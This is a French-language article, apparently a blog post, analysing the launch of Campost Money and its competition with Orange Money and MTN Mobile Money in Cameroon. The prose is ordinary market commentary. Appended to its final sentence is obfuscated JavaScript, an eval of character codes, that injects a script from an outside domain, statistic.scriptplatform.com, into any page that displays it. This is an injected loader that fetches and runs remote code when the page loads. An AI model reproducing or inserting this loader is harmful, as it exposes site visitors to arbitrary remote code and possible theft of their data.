Campost Money et le jeu concurrentiel du Mobile Money au Cameroun

Nous assistons à une prolifération d’acteurs dans le secteur, et d’un autre angle de vue, à la migration vers le Mobile Money des services de paiement, des services bancaires, des services de messagerie… Nous avons ainsi assisté au lancement de Campost Money , douzième service de paiement mobile au Cameroun . Pourquoi Campost a-t-il opté pour le Mobile Money ? Quelles sont ses chances de succès ? Quel sera son impact sur le jeu concurrentiel Orange et MTN ? Quel impact sur le consommateur ? Quelles sont les conditions de succès ? La banque digitale de la société publique Cameroon Postal Services (Campost), la finance à proximité communale donc les activités s’accentuent au tour de la logistique et le e-commerce, a fait son entrée sur le marché avec un package de produits et services financiers.

Parmi ceux-ci, nous comptons des comptes électroniques, d’épargnes, des microcrédits, des paiements intelligents et des services financiers qui vont au-delà des services bancaires classiques. Cette démarche s’inscrit dans le processus de digitalisation, dématérialisation des services financiers et bancaires. Le taux de pénétration d’internet au Cameroun étant de 34%, la plupart des consommateurs optent de nos jours pour les services digitaux accessibles par téléphones mobiles ou sites web.

Campost entend par cette nouvelle offre se tailler une bonne part du marché national et sous-régional.

EMETTEURS NOM COMMERCIAL BICEC Orange Money AFRILAND MTN Mobile Money SGC YUP ECOBANK MTN Mobile Money ECOBANK Ecobank Money UBA Orange Money CBC Carte Salaris BGFI BANK CAMEROUN BGFI Mobile EXPRESS UNION EU Mobile YOOMEE Yoomee Mobile CAMPOST Campost Mobile Money De facto, nous ne saurons dire que les chances de succès de Campost Money sont minimes, car étant un acteur déjà présent sur le marché avec son service de messagerie, ses 340 bureaux de postes et agences sur l’étendue du territoire national, ses partenariats, et les boxes déjà présents dans les rues ; sans compter la gamme de ses services digitaux novateurs que sont les levées des fonds, emprunts mobiles, le smart paiement,… Campost Money a également cet avantage qu’elle concentre à elle seule les services digitaux des banques, les services du Mobile Money en une seule solution. A leur actif, Orange Money et MTN Mobile Money sont les tenants du jeu concurrentiel du Mobile Money au Cameroun avec : Opérateurs Existence (années) Transactions par mois (milliards) Comptes de paiement (millions) Comptes actifs (millions) Orange Money 10 800 7 4 MTN Mobile Money 11 600 10 4.252 Campost Money fait ainsi ses premiers pas sur un marché encore en pleine évolution. Les principaux acteurs du marché devraient tout de même craindre cet autre acteur car ayant déjà des parts considérables de marché pour ses services de base, il pourra facilement compter ce portefeuille client vers ses services de Mobile Money et de digital Banking. Ce qui pourrait entraîner une baisse des transactions chez les acteurs du marché. Le jeu concurrentiel du Mobile Money pourrait devenir beaucoup plus dense et agressif dans au Cameroun. Pour le consommateur lambda, les services de paiement mobile et de digital Banking sont la solution inhérente aux longues files d’attente qu’on observait/observe dans les agences financières et bancaires. Les solutions digitales sont ainsi les bienvenues au milieu de cette population constituée de 26.88 millions d’habitants avec une majorité écrasante personnes actives, principales cibles des services mobiles. Pour le nouvel acteur sur le marché, les conditions de succès sont nécessairement une meilleure qualité de services par rapport aux acteurs du Mobile Money déjà présents sur le marché, des services de banques digitales plus soft, un service client irréprochable, une rapidité opérationnelle, des coûts des services et produits concurrentiels. L’utilisation non exclusive d’internet, d’un code unique par exemple, pour l’accès aux produits serait également un atout majeur car il permettra de contourner la frontière liée à la fracture numérique et toucher également les personnes n’ayant pas en leur possession des téléphones smart. var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/